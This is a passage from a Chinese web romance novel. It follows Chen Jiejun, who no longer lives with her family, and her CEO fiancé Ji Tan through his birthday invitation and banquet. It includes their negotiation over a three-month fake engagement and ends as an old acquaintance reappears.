“你……你不知道?”
陈结君尴尬地笑了一声,她哪知道季潭什么时候生日,只能道:“我没有收到邀请。”
这下轮到张尔尔愣住了,连她都收到了。
季潭对陈结君分明是有感情的,怎么可能不邀请她?
“其实……”张尔尔斟酌下,换了个问法,“你对季潭是什么看法?”
“如果为难可以不回答的。”她飞快补了一句。
陈结君觉得没什么为难,她和季潭解除婚约是皆大欢喜的事,于是坦然道:“如果你问感情上的看法,我只能说,我对他没有想法,我们很快就会解除婚约。”
张尔尔目瞪口呆,想起这几天她表弟受老板所托,每天追问好几遍陈结君的病情,一时不知该怎么说,就觉得季潭有点惨……
陈结君没发现她神色不对,还在想如果季潭给她发请柬,她就去一趟好了,顺便把解除婚约的事彻底办妥,就当送给他的生日礼物了。
毕竟她现在没钱买贵重的礼物,能省则省嘛!
多聊了几句话的功夫,张尔尔担心她迟到,提出开车送她去练车场,陈结君已经拿她当朋友看待,就没拒绝,两人有说有笑地出了咖啡店。
张尔尔的车停在对面商场的停车场里,陈结君与她一起走出路口,等红绿灯的时候,张尔尔盯着对面某个方向看了会,手肘轻轻碰了碰陈结君,陈结君转头看去,马路对面的停着一辆黑色卡宴,她又不是没见过豪车,有什么可看的?
她朝张尔尔丢去一个疑惑的眼神,张尔尔见她没认出来,靠近她小声道:“是季潭的车。”
车子侧停着,陈结君歪着身子才能看清车牌号,还真是他,全青城就他的车牌号最招摇,数字全是8
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。
张尔尔道:“要不我先去车库等你?”
“不用,假装没看见就好。”
绿灯亮起,陈结君挽着张尔尔的手目不斜视地朝马路对面走去,眼角余光都没分一点给旁边的汽车。
张尔尔却如芒刺在背,不用想也知道,车里的季潭正盯着她们。可她已经将陈结君视作朋友,更知道了陈结君对季潭没有情意,便不能再像之前那样帮着季潭给她下套,即便孟鑫是她的表弟。
张尔尔的内心在挣扎片刻后,硬着头皮假装看不见那辆车,跟着陈结君过了斑马线,朝另一个方向走去。
然而两人没走出几步,张尔尔的手机铃声响起,她看了眼手机,又看了眼陈结君,不知所措。
陈结君见她为难,以为她有急事要走,又不好丢下她一个人,就拍拍她的肩膀道:“你有事就先去忙,我可以打车去。”
手机铃声催命似的停了又响,张尔尔只好涩然道:“那、那你注意安全啊。”
张尔尔朝地下车库走去,陈结君站在路边用手机叫网约车,忽然眼前停了一辆黑色轿车,她一愣,抬头时就见车窗缓缓降落,露出一张英俊的侧脸,果真是季潭。
她原以为只要自己不凑上去打招呼,季潭便不会浪费时间跟她客套,他的公司是青城出了名的卷,里面的员工不是在加班,就是在默默学习提升自己的路上,全公司从上到下卷得心甘情愿,全因高昂的加班费和不要命的卷王总裁以身作则。
此刻这位卷王不赶着去工作,反而把车停在她面前,陈结君缓缓道:“有事?”
季潭看着她,眼底晦暗莫测。
陈结君出现在马路对面时他就看见了,她扫了眼他的车,甚至还特意看了他的车牌,与人窃窃私语的模样他也瞧见了,加快步伐目不斜视地过马路他也瞧见了,有那么一瞬间,他又想起了姑姑说的话,她是不是真的要解除婚约?
如果她真的要解除婚约,是不是也不会来参加他的生日宴了。
他一直笃定不会解除婚约的决心突然动摇了,低头看了眼手边的精致的请贴,拇指在她的名字上摩挲片刻,再抬头时,陈结君依旧用清亮的目光看着他,这一瞬他又忍不住想,她一向没有耐心,现在能乖巧地站在路边等他答话,在她心里,他或许还是有点份量的。
陈结君眼尖,已经透过打开的车窗瞧见他手里的请贴了,只是不知道为何他捏在手里,不是很想给的样子。
其实她也觉得没必要给,两人马上就要分道扬镳,还参加什么生日宴,她正犹豫要不要当下把解除婚约的事说清楚,季潭已经把请柬递过来了。
陈结君:“……”
就差一秒,她又多了一个要参加的无效社交活动。
算了,好聚好散嘛。
请贴递到眼前她才发现,上面竟是用的竟是楷书,字迹如行云流水般流畅,笔力却苍劲有力,如巨龙潜渊。这字一看就是眼前人写的,他竟百忙之中抽空一封封写邀请函?今年的生日宴这么重要吗?她看了眼季潭,伸手接过请帖,语气郑重道:“知道了,我一定准时到。”
她接了!
季潭长睫如蝴蝶振翅般微微颤动,面上却不动声色,只淡淡应了一声,松了手。
11. 礼服
跟在一旁的孟鑫眼尖地看见请帖一角被捏出细微的皱褶,老板紧张了。他不由看了眼季潭,季潭的目光果然还在陈结君身上,再想起这些天季潭的举动,他终于明白,老板这回彻底栽了,可他到底什么时候动心的呢?
孟鑫顾不上想太多,陈结君已经开口道别,他连忙问:“您要去哪儿?我们可以送您过去。”
陈结君疑惑地看了他一眼,这人怎么突然用上尊称了。不过她没有纠结这些细节,只是笑着拒绝了他的好意:“不用了,我刚刚已经叫了车,应该很快会到。”
季潭点点头,道:“注意安全。”
说完看了眼孟鑫,后者猛地一拍脑袋:“瞧我这记性!陈小姐您稍等一下。”
他快步走到车旁,从里面拿出一袋东西递给她,“这是季总亲自为您挑选的礼服,本想让助手给您送过去的,没想到在这遇上了,便一起给您吧。”
陈结君敏锐地抓住重点:“你知道我住哪?”
孟鑫笑容一僵,连忙摆手想找借口搪塞过去。
季潭却忽然道:“他的表姐是你朋友。”
孟鑫的笑容逐渐消失,转过头用一种难以言喻的复杂目光看着自家老板,您怎么能突然自曝呢!
季潭权当没看到,他只是不想刻意瞒着她,况且也瞒不住多久。
陈结君很惊讶,她从小到大狐朋狗友一大堆,也不知孟鑫的表姐是哪个,正要问问,手机却响了,是她打的车到了,陈结君与他们道别,匆忙上了出租车。
许久没去练车,手感生疏了许多,她练了一下午才拖着疲惫的身体回到家。
从楼下打包了一份饺子,有点难吃。她随便吃了几口垫垫肚子,目光无意间落在玄关处的袋子上。这好像是季潭第二次给她送礼服,第一次是订婚那会,是担心以她现在的条件买不起礼服,会在他的生日宴上吗?
好吧,她确实买不起太贵的,只是没想到季潭这么贴心,竟然早就准备好了。她放下筷子,走到玄关处把袋子拎进来,抽出包装盒,才抽到一半,她的手就顿住了。
这盒子有点眼熟。
她扭头看向衣柜,那里还挂着那天收到的神秘裙子,裙子下方端正地摆着一模一样的礼盒。
是凑巧买了同一个牌子吗?还是那天的礼服也是他送的。
陈结君不确定,就当是吧。
她毕竟还占着“未婚妻”的名头,许是他怕自己丢人连累了他的名声。这样一想,她心里就没有负担了。
打开包装盒,里面是一条白色的绸缎连衣裙,依旧简单大方的设计,领口和裙摆都缝了一圈圆润的珍珠,她很喜欢,兴致勃勃地试穿了,尺寸刚好,订婚的礼服也是季潭送的,他知道自己的尺寸也不奇怪。
陈结君把裙子换下准备收进衣橱,无意间瞥见翻到裙子的内衬,发现上面绣了一串字母:lucky。
是她想的那个lucky吗?那可是国际顶尖的设计师,绣线用的颜色和裙子的内衬一样,不翻开仔细寻找根本就看不出来,的确像一些特立独行的设计师所为。
她把上次那套神秘礼服也拿了出来,翻过内衬找了好一会,终于找到了一模一样的刺绣,果真是他送来的。陈结君想,下次该好好谢谢他。
接下来几天,陈结君开始恶补之前落下的学习计划,她给自己买了一本挂历,就挂在书桌前,每完成一个学习计划就盖一个小红花,攒够七个小红花就奖励自己喝一杯奶茶,这个方法很见效,每天枯燥的学习也让人能接受了。
说来神奇,她病好之后好像长脑子了。
平时觉得像天书一样的文字,现在的她只需要读一遍就能大致理解,再读上一遍就能融会贯通了。这让她在学习上如有神助,一切都顺利了许多,她觉得神奇,还特意问了系统是不是给她增加金手指了,系统否认了。
陈结君想,或许是她前阵子学太狠,就像武者被逼到绝境忽然打通任督二脉一样,她学到窒息的时候头痒长出了脑子也不奇怪,她本来就聪明嘛!
这天午后,季潭的电话打来时,陈结君睡得正香,迷迷糊糊听见手机铃声在响,她烦躁地翻了个身,把被子蒙在头上呼呼大睡。打电话的人却不愿意放过她,铃声一阵接一阵地响,陈大小姐的起床气终是憋不住了,“嘭”地坐起身,也不管对方是谁,拿起手机开口就骂:“你最好是有大事!大清早的扰人清梦要遭天谴的知道吗?!”
在老板铩羽而归数次后肩负重任打来第一通电话都孟鑫:“……很抱歉,打扰您休息了。您先别挂!我是孟鑫……对,就是季潭季总的助理,是这样的,现在已经下午五点了,季总让我接您去做造型,您看您方便吗?”
孟鑫一口气把话说完,回头忐忑地看了眼季潭的脸色,通话被他特意设置了外扩,好让季潭也能听见陈结君的话。
陈结君迷糊的脑子逐渐清醒,才想起今天的确是季潭的生日,这会也不是大清早,已经快傍晚了。
隔了好一会没听见她的声音,以为她又睡回去了,季潭喊了句:“陈结君,你在吗?”
季潭此人向来冷淡,说话的语气也好似盛夏浸在冰水里的薄荷,让她感到一股冷意,脑子跟着清醒不少。一想到还要做头发和化妆,陈结君的起床气就像一颗圆鼓鼓的气球被针戳破,跐溜一下漏了气。
“在,我会尽快出发。”
她清亮的嗓音在车内响起,听起来精神百倍的模样,季潭不自觉勾唇,轻声道:“不用着急,我过去接你。”
半个小时后,季潭出现在她家门口。
陈结君没想到她会亲自过来,开门见到他时愣了一下,季潭就趁着这个空档飞快地瞄了眼屋里,正在愣神的陈结君却好像被触动了某个按钮的机器,飞速挡住他的视线。
季潭忍不住逗她:“不请我进去坐会?该不会藏了人吧?”
“当然不是!那个,时间快来不及了,我们还是赶快出发吧。”陈结君把他往门边一推,飞快关门,拉着他往电梯走去。
她这么紧张,倒让季潭眉心一跳,侧目看她:“真藏了?男的女的?”
“不是!”陈结君因为模样长得好,从小到大什么样的男人没见过,其中最让人讨厌的就是胡乱猜测她的男人,哪怕这个人是季潭,也让她感觉到冒犯,“季总,我们还没有熟到能开这种玩笑的地步吧?”
季潭脚步一顿,低头看她,陈结君的个子只到他的肩膀处,从他的角度看去,正好能看见她小半张脸,再往下是白皙细长的脖颈……
触电一般,他飞快挪开目光,微颤的睫毛像只仓皇失措的蝶。
“对不起,是我冒犯了。”
陈结君也只是一时发泄,说完才想起对方可是能翻云覆雨的季潭,是她背靠陈家也不敢轻易得罪的人。
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她正想打个哈哈混过去,却没想到他居然会道歉。
“没关系,”她笑道,“是我一时失言,您别放在心上。”
季潭看了眼她手里拎着的礼服袋子,伸手要把袋子接过去,陈结君往后一缩,笑着说:“不用麻烦,我自己拿就行。”
“我来拿吧。”季潭没有收回手,也没逼近她去抢被她藏在身后的袋子,只是静静看着她。
陈结君本来就讨厌拎东西,以前出门总要带个人给她拎着大包小包,这会见季潭坚持,她也不想这样僵着,便顺水推舟,把袋子递给他,“那,麻烦你了,谢谢。”
季潭接过袋子,两人一前一后进了电梯。
电梯里就他们两个,季潭盯着她看了好一会,忽然说:“不要同我客气。”
陈结君道谢后早把这事翻篇了,突然听他冒出这句话,发散的思绪回笼,愣了一下才反应过来,条件反射想道谢,却见他眼底的认真,心想他可能真的不喜欢道谢,于是笑了笑,算是结束了这个话题。
两人都没开口,电梯安静得让陈结君觉得尴尬,便开口找话题,在经过“今天天气真好”、“你早饭吃点什么”、“你这套西服真好看”等等冷场话题的带动下,气氛更加尴尬了。
陈结君默默闭上嘴。她果然不是社交的料,下回得向张尔尔讨教一下才行。
季潭今天居然亲自开车,陈结君坐在副驾驶,时不时扭头看他。有句话怎么说来着,她一直觉得开车的男人有一股难以言喻的魅力,特别是手好看,脸也好看的帅哥开车,那张俊美的脸配上专注的眼神,拉到手肘处的白衬衫和修长的手指,简直是一场视觉盛宴。
“好看吗?”
“好看!”她看得入迷,听见有人问就下意识回答了,反应过来后恨不得封上自己的嘴。
big胆!她居然调戏了季潭!
虽然不是故意的……
工作狂应该不喜欢被人调戏吧,何况是个威名赫赫的总裁……她扭头看了眼季潭的神色,解释道:“我我不是那个意思,就是说溜嘴了……”
“没关系。”季潭侧目看了她一眼,忍不住勾起嘴角,“你怎么这么紧张,以前对我说教的劲头去哪了?”
陈结君一愣,说教?她居然还对季潭说教过!
什么时候?!
季潭敏锐地察觉到她愣神,嘴角慢慢落回原地,淡声道:“你忘了。”
是肯定句。陈结君正在头脑风暴,她很确定季潭强势归国后,她绝对没有对他说教过,倒不是她脾气好,而是他们每次见面前,她妈妈都得对她耳提面命,绝不能对季潭出言不逊。所以,假设她真对他说教过,那一定是在学生时期。
说实话,她以前教训过不少人,哪还记得里面有没有季潭!
季潭作为她的同学,在她的记忆里只有两个点:长得超帅和成绩超好,除此之外他们似乎没有什么交集,非要说的话,在校园里就是点头之交吧,她实在想不起有得罪过季潭,想不起来的事她坚决不承认!
她呵呵笑道:“我怎么可能对你说教,季总真爱开玩笑。”
季潭不知在想什么,没有和她继续说下去的意思,两人又陷入沉默,这次陈结君已经没有尴尬的感觉了。
或许这就是一回生二回熟吧。她一只手扒在窗沿,看着外面飞速闪过的高楼大厦,觉得自己的心脏又强大不少。
12. 是真的吗?
妆造花了将近三个小时,陈结君出来的时候看见季潭坐在沙发上对着手提电脑敲敲打打,想必是在处理公事。她不由松了口气,在里面做了这么久的妆造,生怕他不耐烦直接走人,还忘了付款。那她可就尴尬了,这一番操作下来少说得花好几万,还好这人是名副其实的工作狂,工作的时候耐心能翻好几倍。
这大概就是传说中的事业脑吧!
她应该向他学习!
季潭听见动静,抬头看了一眼,就一眼已经移不开目光。
她总有这样的魔力,能让他不由自主地跟随、心甘情愿地臣服。
陈结君见他不出声,以为在发呆,不满地瞪了他一眼,问:“好看吗?”
“你一直都很美。”季潭收起电脑走到她面前,朝她伸出了手。
陈结君挽着他的手走出商场,两人上了车,陈结君继续看着窗外发呆,没有留意到季潭的手放在驾驶座旁边的暗格上,指尖轻轻摩挲。里面放着一个小礼盒,是他亲自设计,找人定制的钻石项链和一枚钻石手镯。
这一次,他想亲手送给她。
在张尔尔的生日宴上他才知道,陈结君离开陈家后没有带走她曾经喜爱的名贵珠宝和包包。系统有限制,他不能直接给她钱,但却可以赠礼。他便想着挑一套送给她,正好今天能用上,可陈结君是个骄傲的姑娘,他该怎么开口才能不伤她的自尊心,让她把东西收下?
季潭觉得,这比建立一个商业帝国还要难。
【快说啊,说你要送给她。】
【磨磨蹭蹭算什么男人!拿出你工作的劲头来,至于单身这么多年?】
系统看热闹不嫌事大,在它的不断催促下,季潭深吸一口气,打开暗格拿出礼盒,低声道:“你、你今天很美,这个送你。”
【糟透了糟透了!宿主,你没救了,还是搞事业吧。】
季潭说出口的同时心也跟着凉了,这是什么前言不搭后语的胡话!她一定很疑惑吧,她一定会用小狗一样茫然的目光看着他……
“我的意思是,你很适合这套首饰。”
他扭过头,却见她弯着细长的脖颈,靠在车窗上……睡着了。
算了。
他笑笑,一会再找机会吧。
趁着红灯,他放低靠背,轻手轻脚地帮她调整了一个舒适的睡姿,专心开车。
只是这回,他的车速变得缓而稳,如果可以,他想就这样一直开下去。
陈结君醒来时天已经黑了,显然过了宴会开场的时间,她猛地扭头,见季潭居然还待在车上敲电脑,不由一阵头疼,道:“你、你怎么不叫醒我?宴会要开始了,你还要继续忙工作吗?”
“不用,刚好忙完了。”季潭收起电脑,再抬头时陈结君已经自行下车,他看了眼车上的礼盒,把它放进西装口袋里。
季潭的宴会和张尔尔这样的千金宴会全然不同,几乎全青城的大佬都到场了。陈结君光是走进宴会厅的路上就已经见到不少商业巨头,还有不少来自各国的龙头们,陈家的企业在国外涉猎不多,她只认出其中一个开芯片公司的CEO,是世界财富榜前十的大佬。
季潭家里出事后就被送到国外去了,回来后又强势地侵占了国内市场,还以为他最大的王牌是陈余生,谁知这人在国外人脉更广,竟连这样的大佬都能请到。不知道她努力学习,能不能靠考证系统成为富可敌国的大佬之一。
来日方长,她对自己说,现在最重要的是在这场奢华的宴会中填饱肚子!
她默默往后退了几步,看了眼被人群迅速围住的季潭和那位大佬,确认季潭没空理会她,便朝餐区走去。
季潭本想向詹姆斯介绍他的未婚妻,扭头却见她默默后退,看都没看他一眼,自己去找吃的,想来是他疏忽,竟忘了路上给她备些点心。他眼底的笑意被詹姆斯捕捉到,拍拍他的肩膀,神秘兮兮地笑了:“刚才那个就是你念念不忘的人?”
“是,她是我的未婚妻。”季潭抬起酒杯和他碰了一下,笑道,“回头介绍给你认识。”
“我的荣幸。”詹姆斯的中文非常流利,离得近的几个人把这几句对话听得清清楚楚,不由看了眼陈结君离开的方向,对外界传言又多了几分怀疑,有点小聪明的见这边轮不上他们讨好,便悄声吩咐女伴几句。
陈结君正在用餐区的小角落吃牛排,她吃东西时很专心,不喜欢被打扰,但今天不知道怎么回事,她刚坐下不到五分钟,就有人来搭话。要是只有一个人也就罢了,怪的是人接二连三的来,陈结君认出好几个是某些老总的女伴,也有不少千金小姐,很快,她这个不起眼的小角落就成了用餐区最惹眼的地方。
陈结君不耐烦了。
她拉下脸,一点没理会她们,很快,有些眼力见的女人就找借口离开了,她们是来搞好关系的,可不是来招人烦的。
可惜仍有几个看不懂形势的把她团团围住,让她感觉自己像动物园里的猴子。偏她们还七嘴八舌地热闹起来了,其中有个女人说得最起劲,聊起她家男人带她去澳洲吃的牛排如何美味,住的地方如何奢华……
陈结君放下叉子,淡声道:“李总是吧?”
那人愣了下,以为自己终于吸引了陈结君的注意力,正暗喜着,也顾不上看周围人渐渐奇怪的神色,娇声道:“是呢,陈小姐记性真好!”
“李总带你去澳洲吃牛排?教你打高尔夫?”
“是、是啊……”她终于意识到周围人的神情,以为大家瞧不上,又急忙补充道,“还给我买了不少包和项链……”
“那他有没有教过你,别人吃东西的时候不要随意打扰?”陈结君掀起眼皮懒懒地看了她一眼,语气淡淡,“我不是针对你,我是想告
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诉在座的各位,我吃东西的时候不喜欢被打扰。还有你们──有什么话让你们背后的人找季潭说去,跟我说没用。”
“您真是说笑了,您是他的未婚妻,怎么会没用呢?”其中一个年纪较轻的小千金笑着说,只是藏不住语气中的酸味,听着阴阳怪气的。
“很快就不是了。”
“什、什么?”
陈结君淡淡扫了眼面前的几个人,一字一句清晰地说:“我说,我很快就不是他的未婚妻了,我们会解除婚约。所以,请你们不要在我身上浪费时间。”
见风使舵的人多得去了,她原以为说完会受到这些人的嘲笑,她都想好用哪些道具了,却发现她们没有露出幸灾乐祸的神色,而是一脸惊恐,仿佛见了鬼的表情。
陈结君愣住了,直到听见身后的声音:“你说什么?”
她猛地回头,对上了季潭那双幽深黑瞳。
十分钟后,她被带到一个独立的会客室。
自从离开陈家后,她每参加一场宴会就会解锁一间小黑屋。陈结君看了眼季潭,他低着头不知在想些什么,但周身的气场简直可以在他上方汇成三个大字——“我、很、气!”
陈结君不明白他有什么可气的。解除婚约是一早就说好的,想来想去,唯一能让他不爽的或许是她提前把这事当众说出去,没有仪式感?让他觉得丢脸?
现在外界都猜测她凤凰变麻雀,要被季潭甩了,丢脸也是她比较丢脸吧!
这么一想,她又觉得理直气壮起来。
想了想,先从小包里拿出一个礼盒递给他,一个月里参加了两场生日宴,她刚刚鼓起来的钱包肉眼可见地瘪了下去。但想到马上就要彻底自由,她的心情也送快不少,笑着说:“喏,生日快乐。”
季潭回过神,看她的眼神里充满不可思议。
“你……”他开口,发现自己的声音变得嘶哑,顿了顿,接过她的礼盒,问,“你说要解除婚约,是真的吗?”
陈结君惊讶地看着他,这不是一开始就说好的吗?怎么他一副不知情的样子。
或许是她的表情太明显,季潭眼里的光渐渐沉了下去。
陈结君想或许是他们之间的沟通产生了误会,但解除婚约是势在必行的事情,她今天无论如何都要说清楚。
“我不知道你答应过我爸……陈总,我不清楚你和陈总之间有怎样的交易,但我现在已经不是陈家人,你就算要联姻,也该和陈结梅订婚。我知道,你怕我对你死缠烂打,当时才让张尔尔邀请我来参加这场宴会,好让我看清楚自己的身份,不要揪着你不放。”
“你放心,我没有要缠着你的意思,我同意解除婚约。”陈结君说完如释重负,还心里盘算了一下如果季潭一高兴随手给她几百万分手费,那她要还是不要?
还是要吧,谁能跟钱过不去啊!
13. 交易
她一想到分个手就能天降几百万,嘴角就忍不住上扬,这几百万可得怎么花好呢……
她畅想了好一会终于意识到不对劲,季潭怎么不出声啊。
她侧过头看向沙发,却见他不知何时挪到沙发的左侧,离她仅有一臂之遥,一双幽深的眼眸紧紧盯着她,不知道是不是她的错觉,季潭的眼尾似乎有些红,像是极力压抑着什么。
至于高兴成这样?陈结君有点不爽了,她也没有那么差吧!
不行,一会必须拿点分手费!
就在她的思绪又要飘远时,听见季潭暗哑的声音:“你就是这么想我的?”
什么意思?都说季潭洞察人心,该不会连她想敲诈分手费都能看出来吧?陈结君回神,结巴道:“怎、怎么了?”
“你说我把你骗到张尔尔的生日宴上,就是为了羞辱你。”
陈结君反问:“难道不是吗?”
“当然不是!”
“那是为了什么?”
季潭一时语塞,他好像一瞬间又穿越回到多年前那个炎炎夏日,他靠在墙边,听她拒绝别人的告白。
张尔尔的生日已经过去了,陈结君不想掰扯这些没有意义的事,摆摆手道,“算了,说这些没什么意义。”
不知怎的,她说完这句话,季潭好像更生气了,因为他又朝她这边挪了两寸,还把手放在她凳子的扶手上。
凳子是带滑轮的,陈结君默默往旁边滑,想离他远些。
本以为谈这件事时会在他的办公室,他会一如既往地淡漠着脸,兴许还会分心看文件,在听见她提起解除婚约时淡漠地点头,然后让助理和她约个时间把这件事公之于众,然后继续埋头工作,从头到尾都不一定能看她一眼。
可眼下有点不对劲。
他为什么生气?陈结君回想刚才的对话,他好像在介意她说的设计羞辱她的事?
或许是她误会了,并不是他通过张尔尔邀请她来的?
但他明明承认过。
陈结君想不明白,见他只抓着扶手盯着她,也不说话,只得问:“这件事你怎么看?”
季潭看了她一会,忽然叹了口气,低声道:“陈结君。”
“嗯?”陈结君不自觉挺直了腰,一脸认真地看着他,他很少这样喊她,即便是订婚后,他们见面时他也是一副疏远有礼的模样,喊她“陈小姐”。
“我没有要羞辱你。”
陈结君乖乖道:“哦,抱歉,是我误会你了。”
季潭难得见她乖巧的模样,紧绷的心缓了缓,可一想到她当众说出解除婚约的话,刚刚舒缓的心脏又好像被一只无形的手狠狠攥住,一瞬间,他竟生出了逃避的念头,只得顺着她的话胡乱道:“都说陈大小姐目中无人,嘴上更是不饶人,没想到认错的时候也这么干脆。”
“知错就改,善莫大焉不懂嘛!”陈结君扯了扯嘴角,看着眼前人,不知怎的,想起多年前季潭的笑容,那会他还是个没有棱角的公子哥,笑起来的样子很奶,有点像她小时候养的斑点狗,让她忍不住多看了好几眼。
可惜不知道从什么时候开始,他不爱笑了,或许是在季伯父和伯母出事那会吧,当时她在家听见爸妈说起这件事,才知道他家出了这么大的事情。
从那以后,他就从学校消失了。
陈结君从回忆中醒神,再看季潭时,眼里便多了几分藏不住的可惜,当时那样温润如玉的人突遭变故,还能爬到如今的高位,应该吃了不少苦吧。她不自觉放缓了语气,道:“像季总这样不苟言笑的人,笑起来肯定更好看。”
季潭抿唇,不自觉地眨了眨眼,目光也移向另一边,陈结君看见他泛红的耳朵,有点想笑。不会是害羞了吧,这么容易害羞,看来季潭真如传闻一般不近女色,把工作当老婆。
她轻咳一声,回归正题:“总之你放心,这个婚约我也想要解除,咱们找个时间公开声明一下吧?”
她看了眼手机,现在时间是晚上九点半,正是上网高峰期,陈结君道:“择日不如撞日,就今天吧?如果你的团队需要时间运作可以晚点发,女士优先,我就不客气啦!”
她早就想好了文案,兴致勃勃地打开微博,手机屏幕却被一只手挡住了。
季潭拦下她,冷冷道:“我什么时候说要解除婚约了?”
季潭这句话彻底把陈结君说懵了,她脸上的笑容渐渐收了回去,变成迷惑和错愕。
“你……你不想解除婚约?”陈结君万万没想到事情会如此炸裂,她下意识道,“你喜欢我啊?”
季潭落在身侧的手握成拳,心跳声和系统吱哇乱叫让他别冲动的声音交织在一起,他迟缓地眨了下眼睛,不知怎的就想起了许多年前晴朗的午后,陈结君穿着校服双手插兜站在廊下,轻描淡写地拒绝了向她告白的男生。
那男生和她的关系很好,好到让他嫉妒了整整两年,听说他要告白时,他顾不上竞赛,慌忙坐车赶了回来却还是迟了一步,原以为她会犹豫,毕竟那两年里,这个男生和她的关系好到全校皆知,他以为她多少是有几分心动的,却没料到她竟干净利落地拒绝了。
从那以后她再没看过那个男生一眼。
“季潭?”陈结君抬手在他眼前晃了晃,笑道,“被我吓到了?我开玩笑的,谁不知道你心里只有事业啊!”
季潭回过神,垂下眼语气淡淡:“你知道就好。”
陈结君好奇道:“那你为什么不解除婚约?我们联姻已经没有价值了。”
“谁说的?”季潭冷冷道,“知道我们公司的蓝天项目吗?”
陈结君摇头。
他缓缓道:“这个项目倾尽了我一年的心血,马上就要立项了,这时候跟你解除婚约很有可能会影响我和公司的声誉,我不想节外生枝,你明白吗?”
陈结君懂了,原来是为了公司形象。倒是可以理解,一个挣钱的大项目就像一块馋人的蛋糕,不知有多少人虎视眈眈,连季潭都耗费了一年才拿到手,想来不是一块普通的蛋糕,随便一点风吹草动都有可
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能被人借题发挥,谨慎是唯一的办法。
她想了想,道:“所以,你想维持订婚状态多久?”
“三个月。”季潭道,“可以吗?”
他本想说半年,又怕她起疑,只得说一个保守的时间。
“三个月啊……”陈结君拉长语调,面色为难。
季潭心里一紧,“可以吗?”
“这个嘛……”陈结君飞速看了他一眼,缓缓道,“也不是不行,就是那个,那个你懂的吧?”
“你要什么,我都可以给你。”
既然你都这么说了,那我不得谈个好价钱。陈结君笑着说:“你知道的,我奢侈惯了,离开陈家后一时半会没法适应,既然你需要我的配合,不如就当作你聘请我假扮未婚妻三个月,每个月给一百万,怎么样?”
原来是为了这个,季潭松了口气,笑道:“别说三百万,就是六百万也……”
【宿主慎言,别忘了游戏规则。】
季潭顿住,上扬的嘴角默默压了下去,他一时高兴,竟忘了陈结君作为被他选中的小树苗,是不能接受他的任何金钱转账的。
他看着两眼放光的陈结君,一时有些语塞,不知该怎么说出口。
陈结梅出现后,他去找过陈余生,陈余生亲口说过,陈家不介意养两个女儿,以前陈结君是他的宝贝女儿,以后也会是。但他仍不放心,想尽办法试图把婚期提前,好把她彻底纳入自己的羽翼之下,可陈结君没给他安排这一切的机会,就这样毫不犹豫地离开了陈家。
“这段时间委屈你了。”
季潭抬手想摸摸她的头,却见陈结君两只手飞快地护住脑袋,“别碰坏了我的发型!”
季潭:“……”
手默默收了回去。
陈结君仰头看他,道:“三百万到底行不行?”
季潭垂眸,一时间不敢和她对视。
不是吧,堂堂季总,三百万也要压价?
好吧,也勉勉强强算符合逻辑,再有钱的总裁他也是资本家,而不是散财童子。再说了,季潭这种跌落谷底还能触底反弹的,想必要比普通富二代更懂钱的重要性,她也是离开陈家后才明白的。
陈结君道:“那,两百万?”
季潭仍未表态,她狠狠心,忍痛道:“一百万总行了吧?这可是关系到你们公司声誉的事,就一百万,不能再低了!”
等了好一会,才听见季潭的声音:“三百万,可以赊账吗?”
“什么?!”陈结君瞪大眼,不可思议地看着他,“你再说一遍?”
季潭自始至终低着头,低声道:“你可以算利息。”
还能算利息,看来是真的拿不出钱。陈结君沉默了,今晚是不是有点太魔幻了?她开始怀疑是不是季潭在整蛊,拿她耍猴戏玩呢?!
季潭却道:“最多欠你一年,一年以后,我给你六百万。”
陈结君:“……”
不知道为什么,突然有种被资本家强行喂大饼的感觉。
14. 故人归
她正犹豫答不答应,就见眼前出现一个黑丝绒礼盒,她抬头看向季潭,这又是整的哪一出?
“这个送你。”
“你生日送我礼物?不太合适吧。”
“很合适,收下吧。”
季潭低头看她,陈结君竟在他眼里看见了真诚,难道是他的资金链出了问题?
见她犹豫,季潭苦笑:“就当作我们这桩交易的定金,我保证不跑路。”
话都说到这份上了,自己是个外人,不好越界太过,反正假扮未婚妻而已,她还能借季潭的光挡住来找麻烦的人,不亏。
她接过礼盒道:“行,我答应你,谢谢。”
如果到时季潭赖账,她就当积德行善了,谁让当年季伯母对她那么好呢。
两人从会客室出来后,陈结君径直朝刚刚那几个人走去,朝她们扬起下巴,高声道:“刚刚我说的都是气话,你们不会当真吧?”
几人看了眼她背后的季潭,忙不迭摇头。
陈结君朝季潭丢去一个眼神,朝门外走,辟谣结束,她要回家了。
季潭正要跟上前,被詹姆斯挡住,笑道:“什么情况,你还没搞定她?”
“吵架了,哄好了。”季潭说完朝陈结君离开的方向走去。
“这世上还真有你搞不定的人。”詹姆斯似乎见惯了他失礼的样子,只是摇头笑笑,将手里的酒一饮而尽。
陈结君刚走出门口,一股寒风袭来,把她吹得一个哆嗦,才想起外套放在季潭车上,刚要回去找人,身上忽然一暖,一件厚实的大衣落在她肩上,把她整个人都包裹起来。
衣服上有淡淡的檀香,不用想也知道是谁的。她回头一看,果真是季潭。
“我送你回去。”季潭道,“你的衣服还在我车上。”
陈结君道:“这是你的生日宴,你走不合适,钥匙给我,我去你车上拿就好。”
“我跟他们说你生气了,我追出来送我的未婚妻回家。”
陈结君秒懂,最近对他们婚约的传闻越来越多,季潭今晚的行为无疑是在告诉这些好事者,他们的婚约不会改。她歪头笑:“那就麻烦未婚夫了。”
季潭勾起嘴角,“不麻烦,应该的。”
通往地下车库的电梯在大堂旁边,陈结君披着季潭的大衣,盯着大理石地板的纹路发呆,季潭忽然问:“我能有幸请未婚妻吃个饭吗?”
陈结君抬头,错愕地看着他。
“你想吃什么?”季潭没有看她,盯着电梯门,“牛排怎么样?”
“不用了,我正好减肥。”陈结君想都不想就拒绝了,说来有点离谱,季潭回国后,她还没有跟他单独吃过饭,怪不得外界传闻他们政治联姻。现在直接从政治联姻变成假婚约,更没有一起吃饭的必要了。
季潭侧过头看她,低声道:“毕竟是因我害得你没吃上饭,就当给我一个弥补的机会,行吗?”
都这么说了,陈结君笑道:“那我们去吃烧烤吧。”
“好。”
叮──
电梯门刚好开了,陈结君抬头,脸上的笑容在看见电梯里的男人时不自觉僵住,那人似乎也没想到会这么巧,同样愣住了。
“睿泽哥……”
她声音太轻,轻得连她自己都分不清到底是在心里喊了一声,还是真的说出了口。
电梯门就要合上,对视的两人才慌忙伸手去按按钮,却发现有一只修长的手比他们更快一步按住了正在关门的电梯。季潭的表情藏在阴影处,从陈结君的角度看去,只能看见他紧绷的下颌线。
门被按开了,周睿泽走了出来,陈结君却觉得脚下生根一般,没有进去。
“好久不见,小结。”周睿泽朝她露出笑容,还像当年那样,一双桃花眼弯弯的,像在春天里荡漾的湖泊。
